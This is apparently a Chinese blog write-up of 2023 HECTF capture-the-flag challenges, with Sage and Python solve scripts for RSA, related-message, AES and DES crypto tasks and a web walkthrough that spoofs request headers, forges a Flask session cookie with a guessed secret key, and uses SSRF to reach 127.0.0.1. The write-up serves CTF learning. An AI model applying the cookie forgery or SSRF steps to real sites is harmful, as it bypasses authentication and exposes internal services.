【2023HECTF】Crypto&Web部分题解(没注册上账号,做的有点晚了www)

2023HECTF

Crypto

rsarsa|(solved)

考点:rsa 公式分解
解题:

原题:

# from functools import reduce
# from Crypto.Util.number import *
import random
# from secret import flag,hint

# def generate_PQ(bits):
#     x = getPrime(bits) >> bits//2 << bits//2
#     while True:
#         p = x + random.getrandbits(bits//2)
#         if isPrime(p):
#             break
#     while True:
#         q = x + random.getrandbits(bits//2)
#         if isPrime(q):
#             break
#     return p,q

# m = bytes_to_long(flag)
# hint = bytes_to_long(hint)
# e = 65537
# p,q = generate_PQ(1024)
# n = p*q
seed = 256087+396445-538018
random.seed(seed)    #只要seed确定 后面生成的数就相同
x = [random.randint(1,seed) for _ in range(2)]  #只生成两个数
y = [random.randint(1,seed) for _ in range(2)]
print(x)
print(y)
# print("c =",pow(hint,e,n))
# print("n =",n)

#[30509, 13601]
#[92095, 27065]

# c1 = (30509*m + 13601)^17 % n 
# c2 = (92095*m + 27065)^17 % n

# print("c1 =",pow(reduce(lambda x, y: x * m + y, x), 17, n))
# #解释一下这段公式
# #reduce函数存在两个参数 第一个是式子 第二个是对应的操作值
# #比如一个x=[2,3,4] 那么lambda表达式会每次在x中取两个值 并且将运算的结果累计到下一个x 然后y向后取一个数                                      
# print("c2 =",pow(reduce(lambda x, y: x * m + y, y), 17, n))

c = 23001012057110779471190091625946693776382380529397302126337301229214301450335125076016991835054198112255974220434689958104931664098817350134656616154892781885504255726632558690544057380195511404078662094726952602350250840712610362029824982069179543810686494204685887486972937880502875441232004432323308734978847464589775857815430854038396134952486665687531579988133729365443247597395131516449487146786214227230853061720614077115599878358089377114269765796099004940883513036567103436154122335792598432012140232905658895014924069330265282364249236142072335363164451294973492092043110680377767954710822286121195290921259
n = 25797576442752368834409243494498462987370374608513814739930733437032797864549696772439769896270235017474841764016848627149724764584643408544417890463920153063835758878658712790547466715525246861709503145754424896044647787146006099053059124466248594151765065039034244830614724509092882854620642569723528913880146979990993657935598837645247839225413889995373643109990149255485373119338024345925311643249141660177285328457994476509430988280481564046398593906405870633323621548853838399385539924067139236445142933316057900841508972844270649504321178274091144241788883353514769368447833090379142367062327674855735832181241
c1 = 5702553209026762891130621254037294747819864952568824327221430749829654552175171307151888953348659971422228556686092434932000213695492351602755144510029319044193567051613888876933660356756790444392278614143455408803808095980542751023095024106689759843322130186219560734082292015929006937318400901378373771587448471762923415750064340829545587346927358411518874090282598069394946985795177419501659425500481799157093068337225389827654860680897913114945871197415129055139716514884716404289565297854681809258375973195355836553939670482515484347869258398517276876478311544109924573128946617113822561968330536525876279165313
c2 = 17562619948191690401152271053920025392401205523418067246455197241332062181407775133406742024747779181762812656501246379566147855594504112107873162350649668441267907193889705868572309785100582281795380779594946422800722070311908572538672508371123334385630310655242811756206073131919770939609347021343765434127086363844595938894714892990053114153402729297796655717510572619694559203260762574159375142757462082162882775921182437134358375300674547217425590072112733480640372328934982979603312597484512120618223179217692002851194538130349201457319160001114007059615596355221194709809437500052122684989302563103918409825040

import gmpy2
print(gmpy2.gcd(c1,c2))

# c = pow(x,17,n)
p = 160616239660727858899273379103592231155409056274229284184975467127574269595624091311175627078626817259122507024363284463167205592226280887239280008933792076628602313168161987456794466948371108388445589568660803435612911564349113520700334500717237521981464112146232603304167030094761289132103178741978484324163
q = 160616239660727858899273379103592231155409056274229284184975467127574269595624091311175627078626817259122507024363284463167205592226280887239280008933792069345408116962980054711105579607903079344180647686753187313507576711078157922258567830351506693970326314484271008164343339287427523462030830749467794546707

from Crypto.Util.number import *
import gmpy2
e = 65537
phi = (p-1) * (q-1)
d = gmpy2.invert(e,phi)

print(long_to_bytes(pow(c,d,n)))
#b'Hint{Seed_is_256087_+_396445_-_538018}'

其中一些解题的经过也放在里面了

该题主要是两部分组成

首先是根据p和q的生成方式 两数非常接近

所以通过yafu本地即可以分解n

然后利用n分解的p和q 成功获得hint提示

提示告诉了我们种子是什么

在生成随机数的时候:

random.seed(seed)    #只要seed确定 后面生成的数就相同
x = [random.randint(1,seed) for _ in range(2)]  #只生成两个数
y = [random.randint(1,seed) for _ in range(2)]

随机数生成器由种子决定 所以是伪随机

当种子seed确定之后 后面两个值的生成是完全固定的

所以算出种子 本地跑一下就可以获得x和y的值

#[30509, 13601]
#[92095, 27065]

n = 25797576442752368834409243494498462987370374608513814739930733437032797864549696772439769896270235017474841764016848627149724764584643408544417890463920153063835758878658712790547466715525246861709503145754424896044647787146006099053059124466248594151765065039034244830614724509092882854620642569723528913880146979990993657935598837645247839225413889995373643109990149255485373119338024345925311643249141660177285328457994476509430988280481564046398593906405870633323621548853838399385539924067139236445142933316057900841508972844270649504321178274091144241788883353514769368447833090379142367062327674855735832181241
c1 = 5702553209026762891130621254037294747819864952568824327221430749829654552175171307151888953348659971422228556686092434932000213695492351602755144510029319044193567051613888876933660356756790444392278614143455408803808095980542751023095024106689759843322130186219560734082292015929006937318400901378373771587448471762923415750064340829545587346927358411518874090282598069394946985795177419501659425500481799157093068337225389827654860680897913114945871197415129055139716514884716404289565297854681809258375973195355836553939670482515484347869258398517276876478311544109924573128946617113822561968330536525876279165313
c2 = 17562619948191690401152271053920025392401205523418067246455197241332062181407775133406742024747779181762812656501246379566147855594504112107873162350649668441267907193889705868572309785100582281795380779594946422800722070311908572538672508371123334385630310655242811756206073131919770939609347021343765434127086363844595938894714892990053114153402729297796655717510572619694559203260762574159375142757462082162882775921182437134358375300674547217425590072112733480640372328934982979603312597484512120618223179217692002851194538130349201457319160001114007059615596355221194709809437500052122684989302563103918409825040

# c1 = (30509*m + 13601)^17 % n 
# c2 = (92095*m + 27065)^17 % n

已知c1和c2 和n 如何求出m

=> 相关明文攻击

脚本来源

image-20231119230808324

#脚本1
#Sage
import binascii
def attack(c1, c2, n, e):
    PR.<x>=PolynomialRing(Zmod(n))
    # replace a,b,c,d
    a = 30509 
    b = 13601
    c = 92095
    d = 27065
    g1 = (a*x+b)^e - c1
    g2 = (c*x+d)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()
    return -gcd(g1, g2)[0]
n = 25797576442752368834409243494498462987370374608513814739930733437032797864549696772439769896270235017474841764016848627149724764584643408544417890463920153063835758878658712790547466715525246861709503145754424896044647787146006099053059124466248594151765065039034244830614724509092882854620642569723528913880146979990993657935598837645247839225413889995373643109990149255485373119338024345925311643249141660177285328457994476509430988280481564046398593906405870633323621548853838399385539924067139236445142933316057900841508972844270649504321178274091144241788883353514769368447833090379142367062327674855735832181241
c1 = 5702553209026762891130621254037294747819864952568824327221430749829654552175171307151888953348659971422228556686092434932000213695492351602755144510029319044193567051613888876933660356756790444392278614143455408803808095980542751023095024106689759843322130186219560734082292015929006937318400901378373771587448471762923415750064340829545587346927358411518874090282598069394946985795177419501659425500481799157093068337225389827654860680897913114945871197415129055139716514884716404289565297854681809258375973195355836553939670482515484347869258398517276876478311544109924573128946617113822561968330536525876279165313
c2 = 17562619948191690401152271053920025392401205523418067246455197241332062181407775133406742024747779181762812656501246379566147855594504112107873162350649668441267907193889705868572309785100582281795380779594946422800722070311908572538672508371123334385630310655242811756206073131919770939609347021343765434127086363844595938894714892990053114153402729297796655717510572619694559203260762574159375142757462082162882775921182437134358375300674547217425590072112733480640372328934982979603312597484512120618223179217692002851194538130349201457319160001114007059615596355221194709809437500052122684989302563103918409825040
e = 17
m1 = attack(c1, c2, n, e)
print(binascii.unhexlify("%x" % int(m1)))
print(m1)
from Crypto.Util.number import *
print(long_to_bytes(int(m1)))


#b'HECTF{r3411y_easy_R4nd0m_And_r3l4ted_m3554ge_att4ck}'

我们仨|(solved)

考点:AES 异或 多素数rsa解密 DES
解题:

三层套娃:

第一关:

与NewStarWeek1非常一模一样

from Crypto.Cipher import AES
import os
# from flag import flag
from Crypto.Util.number import *

def padding(data):
    return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])

def execute_program():
    secret_data = padding(flag)
    secret_key = os.urandom(16) * 2
    init_vector = os.urandom(16)
    print(bytes_to_long(secret_key) ^ bytes_to_long(init_vector) ^ 1)
    cipher = AES.new(secret_key, AES.MODE_CBC, init_vector)
    encrypted_flag = cipher.encrypt(secret_data)
    print(encrypted_flag)

# if __name__ == "__main__":
#     execute_program()

data = 113271863767201424639329153097952947311122854394813183532903131317262533549675
c = b'_1\x16\xc2;\xb1\xddy\x14\xdd\x14\xe5{\x19\x04:'
data = data ^ 1
key = long_to_bytes(data)[:16] * 2
iv = bytes_to_long(key) ^ data
iv = long_to_bytes(iv) 
aes = AES.new(key,AES.MODE_CBC,iv)
dec_flag = aes.decrypt(c)
print(dec_flag)
#

第二关:

直接分解n

获得一系列小素数

import gmpy2
from Crypto.Util.number import *

e=65537
n= 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
c= 7650350848303138131393086727727533413756296838218347123997040508192472569084746342253915001354023303648603939313635106855058934664365503492172
# P = [2217990919
# ,4278428893
# , 2804303069
# , 3654864131
# , 2923072267
# , 2338725373
# , 2706073949
# , 2970591037
# , 2370292207
# , 2463878387
# , 3939901243
# , 2794985117
# , 3207148519
# , 4093178561
# , 3831680819]
P = [2217990919
,4278428893
,2794985117
,3831680819
,2804303069
,2923072267
,3939901243
,2463878387
,2970591037
,2706073949
,3654864131
,2370292207
,2338725373
,4093178561
,3207148519]
phi = 1
for i in range(len(P)):
    phi *= P[i]-1

d = gmpy2.invert(e,phi)
m = pow(c,d,n)
# m = 10657149102724042824057034258679160487094630140056870412930577982121073769242507083776
print(long_to_bytes(m))

进入第三关:

gIHkeIlRQp1fLeSWEqZJdOTO4aRYRB2OGRcBycHQ1OAdi6UEULYbwIvYh+0alYScSEoN4TOejgTjdPsetrURRlLX6dcifjX6VvLxY7TnMk7c8/xy17mybq/yNQf0vFGh8byC88bUeHian9dA2Qh6rRBYS1I7iNxM62RtCFZ+1OKeaqGIDjf3/VuPlbnCePYIY5FVs6xNXjkGh0m57t2QW4CoGI5lz6OcAAwg4AHP0d8CfeldOF/TogPwOiPaRlDbtHXCh54Bs5ZivV+jDerr0RQvCGYBFHYLJnvyrFtyZC9BxAQ8gQnGlWNDjE1V6BByUvJjpI9DcUyRSNN21rUWouOiLwtKX0BgDQkGH9PhtzhmGYI+R3lZJ4x30l+Xqweu

DES CBC PKCS7 key:hectf iv:0000

找到一个在线网址 很多是无法操作的 但是这个可以

image-20231119103228110

成功获得flag:HECTF{DES_RSA_AES_WOMENSA_ZHENQIANG}

image-20231119162730981

esayecc

考点:ECC椭圆曲线加密
解题:

首先给了一个私钥文件:

-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgotFz7q/WASYctvjN
Cm4zE7fkywF7jJV0nIME7bsW2i6hRANCAARClk9phO799cZ7E/ZF3ByjzczSz2Wd
fuVuLvrNSK0wlUCXegI/pVSDhvLM9diYBj0hear1pO4tA89Kttmsl4Bf
-----END PRIVATE KEY-----

利用在线网址进行解密 获得公钥文件:

-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQpZPaYTu/fXGexP2Rdwco83M0s9l
nX7lbi76zUitMJVAl3oCP6VUg4byzPXYmAY9IXmq9aTuLQPPSrbZrJeAXw==
-----END PUBLIC KEY-----

利用在线工具 对公钥文件进行解密:

image-20231119101454309

原题代码:

from Crypto.Util.number import *
from Crypto.PublicKey import ECC
from fastecdsa import curve
from sympy import *
me = bytes_to_long(flag)

key = ECC.generate(curve='NIST P-256')
f = open('pem.txt', 'w').write(key.export_key(format='PEM'))
G = key.public_key()
k = key.d
n = G.order()
p = curve.P256.p
r = randprime(1, n-1)

M = E.random_point()
# M = (mx, my)
e = nextprime(my-mx)
N = n * p
c = pow(me, e, int(N))
print('c =', c)

K = k*G
c1 = M+r*K
c2 = r*G
print(c1)
print(c2)

# c = 340411986008332622492252515156919590702658555525072399052451683041772652474839788525448087771416400264570261404595656046016551644464496921197111421138765
# c1 = (71430232672331113271988412132459391678542075997754159037222774180961171917977 : 62238630405406252154015032808640586594811636815028129383858020738965206372881 : 1)
# c2 = (25742109236464952840117078659367834030129507446418393682693133323915430074859 : 65657711071079869088595294059522027768683424454908946840021611773238453793364 : 1)

web

伪装者|(solved)

首先本地访问:

X-Forwarded-For: 127.0.0.1

然后Referer:

Referer: ctf.sc0de.com

最后使用的浏览器:

User-Agent: Firefox

然后进入username的检测

我们发现在输入框中 单纯输入zxk1ing 是无法成功进入的

注意到存在session

把session利用下面脚本进行解密 脚本来源

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

首先对原始session进行解密:

在终端输入命令行启动 -s后面接的是密钥 我们推测是这个名字

python session.py decode -s "zxk1ing" -c "eyJrZXkiOiJ6eGsxaW5nIiwidXNlcm5hbWUiOiJqb2tlciJ9.ZVmUuQ.FGqtCpSwv-lmNqDzTIFxpoS66Ck"


{'key': 'zxk1ing', 'username': 'joker'}

我们可以看到存在关键词username

把username改成zxk1ing

然后加密 生成伪造的session

python session.py encode -s "zxk1ing" -t "{'key': 'zxk1ing', 'username': 'zxk1ing'}"                   
eyJrZXkiOiJ6eGsxaW5nIiwidXNlcm5hbWUiOiJ6eGsxaW5nIn0.ZVmW3A.Vp7Tyn1njNuyFxSO4TPpoqC__qk

替换原来session后成功进入

image-20231119131909449

然后访问/P1aceuWillneverkn0w 进入之后只有一张图片

意料之外

既然里面加了引号 肯定是有节目的

查看一下这个图片的地址

image-20231119215745106

考虑到ssrf

把他复制然后访问

image-20231119215813666

前面会自动拼接题目的网址 后面跟图片的URL

然后根据本地的特性提醒

我们去访问127.0.0.1/P1aceuWillneverkn0w

image-20231119215920527

成功获得flag : HECTF{04800e5c552a70de9ef7a9cd00a26c90c107e010}

我是哈皮,祝您每天嗨皮!我们下期再见~

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值